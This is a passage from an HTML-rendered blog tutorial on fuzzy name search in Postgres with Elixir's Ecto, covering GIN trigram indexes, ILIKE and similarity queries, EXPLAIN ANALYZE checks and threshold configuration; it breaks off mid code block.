&lt;pre id=&quot;code-block-2&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# Don&amp;#39;t use this&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;create&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;index&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:persons&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:name&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;using: &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;GIN&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# Because it translates to this:&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;CREATE&lt;/span&gt; INDEX &lt;span style=&quot;color: #d2a8ff;&quot;&gt;persons_name_index&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;ON&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;persons&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;USING&lt;/span&gt; GIN &lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;name&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;varchar_ops&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# Instead use this&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;create&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;index&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:persons&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;~&lt;/span&gt;s&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&quot;name&quot; gin_trgm_ops&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;using: &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;GIN&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# Or this&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;execute&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&quot;&quot;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;  CREATE INDEX persons_name_gin_trgm_idx
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;    ON persons
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;    USING gin (name gin_trgm_ops);
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;&quot;&quot;&quot;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The plain Ecto variant will create a &lt;code&gt;GIN&lt;/code&gt; index, but by using the &lt;code&gt;varchar_ops&lt;/code&gt; and not the &lt;code&gt;gin_trgm_ops&lt;/code&gt;. &lt;strong&gt;This won&apos;t speed up our text search&lt;/strong&gt;. So, better use the custom type or the custom SQL code in the second &lt;code&gt;execute/1&lt;/code&gt; statement to create the &lt;code&gt;GIN&lt;/code&gt; index. (Thank you &lt;a href=&quot;https://dlindenkreuz.com/&quot;&gt;Dan&lt;/a&gt; for sharing the Ecto-based solution with me!)&lt;/p&gt;
&lt;p&gt;Let&apos;s have a look at how to use the index next.&lt;/p&gt;
&lt;h3&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#the-query&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;the-query&quot;&gt;&lt;/a&gt;The Query&lt;/h3&gt;
&lt;p&gt;Thankfully, Ecto already offers the &lt;a href=&quot;https://hexdocs.pm/ecto/Ecto.Query.API.html#ilike/2&quot;&gt;ilike&lt;/a&gt; function, which we can use for our query. This is what it looks like:&lt;/p&gt;
&lt;pre id=&quot;code-block-3&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;defp&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;search&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;search_term&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;search_term&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;#&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;search_term&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;%&quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;query&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;    &lt;span style=&quot;color: #d2a8ff;&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;      &lt;span style=&quot;color: #e6edf3;&quot;&gt;p&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;in&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Person&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;      &lt;span style=&quot;color: #79c0ff;&quot;&gt;where: &lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;ilike&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;p&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;^&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;search_term&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;  &lt;span style=&quot;color: #ffa657;&quot;&gt;Repo&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;all&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;query&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This will return all names that contain the search term anywhere in their string. If you analyze this query in a database explorer, you will see that it uses our GIN index. We ran this query without the index and it was around 30 times slower (~700ms vs 21s). So, before you push this query to production, please check in your database explorer whether your index is used. You can do that by running the following command:&lt;/p&gt;
&lt;pre id=&quot;code-block-4&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-sql&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;EXPLAIN&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;ANALYZE&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;SELECT&lt;/span&gt; name &lt;span style=&quot;color: #ff7b72;&quot;&gt;FROM&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;persons&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;WHERE&lt;/span&gt; name &lt;span style=&quot;color: #ff7b72;&quot;&gt;ILIKE&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&amp;#39;%bert%&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It should return an analysis that starts with &lt;code&gt;Bitmap Heap Scan&lt;/code&gt;. That means that your index is used. If it returns an analysis beginning with &lt;code&gt;Seq Scan&lt;/code&gt;, it doesn&apos;t use your index and scans every row 1-by-1, which you &lt;strong&gt;don&apos;t&lt;/strong&gt; want.&lt;/p&gt;
&lt;p&gt;Now, the &lt;code&gt;ILIKE&lt;/code&gt; query returns all names that match a certain search term, but it won&apos;t return names that don&apos;t match the search term but are very similar to it. For example, if you search for &lt;code&gt;Ana&lt;/code&gt; you might also want to see &lt;code&gt;Anna&lt;/code&gt; and &lt;code&gt;Hannah&lt;/code&gt; in your results. So, names that don&apos;t match exactly, but are very similar. We can use Postgres&apos; &lt;a href=&quot;https://www.postgresql.org/docs/current/pgtrgm.html#id-1.11.7.44.6&quot;&gt;SIMILARITY&lt;/a&gt; operator for that. Let&apos;s check out how.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#similarity&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;similarity&quot;&gt;&lt;/a&gt;Similarity&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;similarity&lt;/code&gt; is one of these functions that appear to be very easy to use, but it&apos;s very easy to get it wrong. So, before you deploy your query to production, please analyze the query using &lt;code&gt;EXPLAIN ANALYZE&lt;/code&gt; first. We will get into the details of what can go wrong later on. Let&apos;s first have a look at how to use this operator.&lt;/p&gt;
&lt;p&gt;You can re-use the migration for &lt;code&gt;ILIKE&lt;/code&gt; also for &lt;code&gt;similiarity&lt;/code&gt;. It uses the same &lt;code&gt;GIN&lt;/code&gt; index. Run your your migration and then head over to your context to add the following query:&lt;/p&gt;
&lt;pre id=&quot;code-block-5&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;similarity&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;query&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;    &lt;span style=&quot;color: #d2a8ff;&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;      &lt;span style=&quot;color: #e6edf3;&quot;&gt;p&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;in&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Person&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;      &lt;span style=&quot;color: #79c0ff;&quot;&gt;where: &lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;fragment&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;? % ?&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;^&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;p&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;      &lt;span style=&quot;color: #79c0ff;&quot;&gt;order_by: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:desc&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;fragment&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;? % ?&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;^&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;p&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;  &lt;span style=&quot;color: #ffa657;&quot;&gt;Repo&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;all&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;query&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This query uses the short-hand version of &lt;code&gt;similarity&lt;/code&gt;, the &lt;code&gt;%&lt;/code&gt; operator, to compare the search term with the names in the database. It orders the results by their similarity to the search term so that the most similar results are on top. There are a few small, but important details about this query:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;You must use the short-hand &lt;code&gt;%&lt;/code&gt; operator because the query won&apos;t use the &lt;code&gt;GIN&lt;/code&gt; index otherwise. Don&apos;t use &lt;code&gt;similarity(name, ?)&lt;/code&gt; in your query, but the short-hand &lt;code&gt;%&lt;/code&gt; operator.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;If you use the &lt;code&gt;&lt;%&lt;/code&gt; or &lt;code&gt;&lt;&lt;%&lt;/code&gt; operators, you must put the search term &lt;strong&gt;first&lt;/strong&gt;. So, &lt;code&gt;WHERE bert &lt;% name&lt;/code&gt;. If you turn them around, Postgres &lt;strong&gt;won&apos;t&lt;/strong&gt; use your GIN index.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;When you use the short-hand &lt;code&gt;%&lt;/code&gt; operator, you can&apos;t set the threshold for how similar names must be to be included in the results. If you use the &lt;code&gt;similarity&lt;/code&gt; function, you can set it with: &lt;code&gt;similarity(name, ?) &gt; 0.3&lt;/code&gt;. If you use the short-hand operator &lt;code&gt;%&lt;/code&gt;, the global &lt;code&gt;pg_trgm.similarity_threshold (defaults to 0.3)&lt;/code&gt; is used instead. You can configure the global threshold for one session or your entire database using:&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;pre id=&quot;code-block-6&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-sql&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;SET&lt;/span&gt; pg_trgm&lt;span style=&quot;color: #e6edf3;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;similarity_threshold&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;0.3&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You can configure the similarity threshold of your &lt;code&gt;Ecto.Repo&lt;/code&gt; connection using a &lt;a href=&quot;https://hexdocs.pm/ecto/multi-tenancy-with-query-prefixes.html#connection-prefixes&quot;&gt;Connection prefix&lt;/a&gt; (Thanks to Michał for the &lt;a href=&quot;https://elixirforum.com/t/elixir-blog-posts/150/866&quot;&gt;tip&lt;/a&gt; ❤️). You can set it in your configuration like this:&lt;/p&gt;
&lt;pre id=&quot;code-block-7&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# config.exs&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;query_args&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;SET pg_trgm.similarity_threshold = 0.4&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;config&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:my_app&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;MyApp.Repo&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;after_connect: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;Postgrex&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:query!&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;query_args&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This configuration will set your custom &lt;code&gt;similarity_threshold&lt;/code&gt; after connecting to the database.&lt;/p&gt;
&lt;p&gt;If the global threshold of &lt;code&gt;0.3&lt;/code&gt; is a problem for you and you can sacrifice the GIN index, the following variation will help. Be warned that &lt;strong&gt;it doesn&apos;t use the GIN index and scans your entire table&lt;/strong&gt;. Sadly, there&apos;s no free lunch.&lt;/p&gt;
&lt;pre id=&quot;code-block-8&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;similarity&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;limit&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;\\&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;25&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;query&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;    &lt;span style=&quot;color: #d2a8ff;&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;      &lt;span style=&quot;color: #e6edf3;&quot;&gt;p&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;in&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Person&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;      &lt;span style=&quot;color: #79c0ff;&quot;&gt;order_by: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:desc&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;fragment&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;? % ?&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;^&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;p&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;      &lt;span style=&quot;color: #79c0ff;&quot;&gt;limit: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;^&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;limit&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;
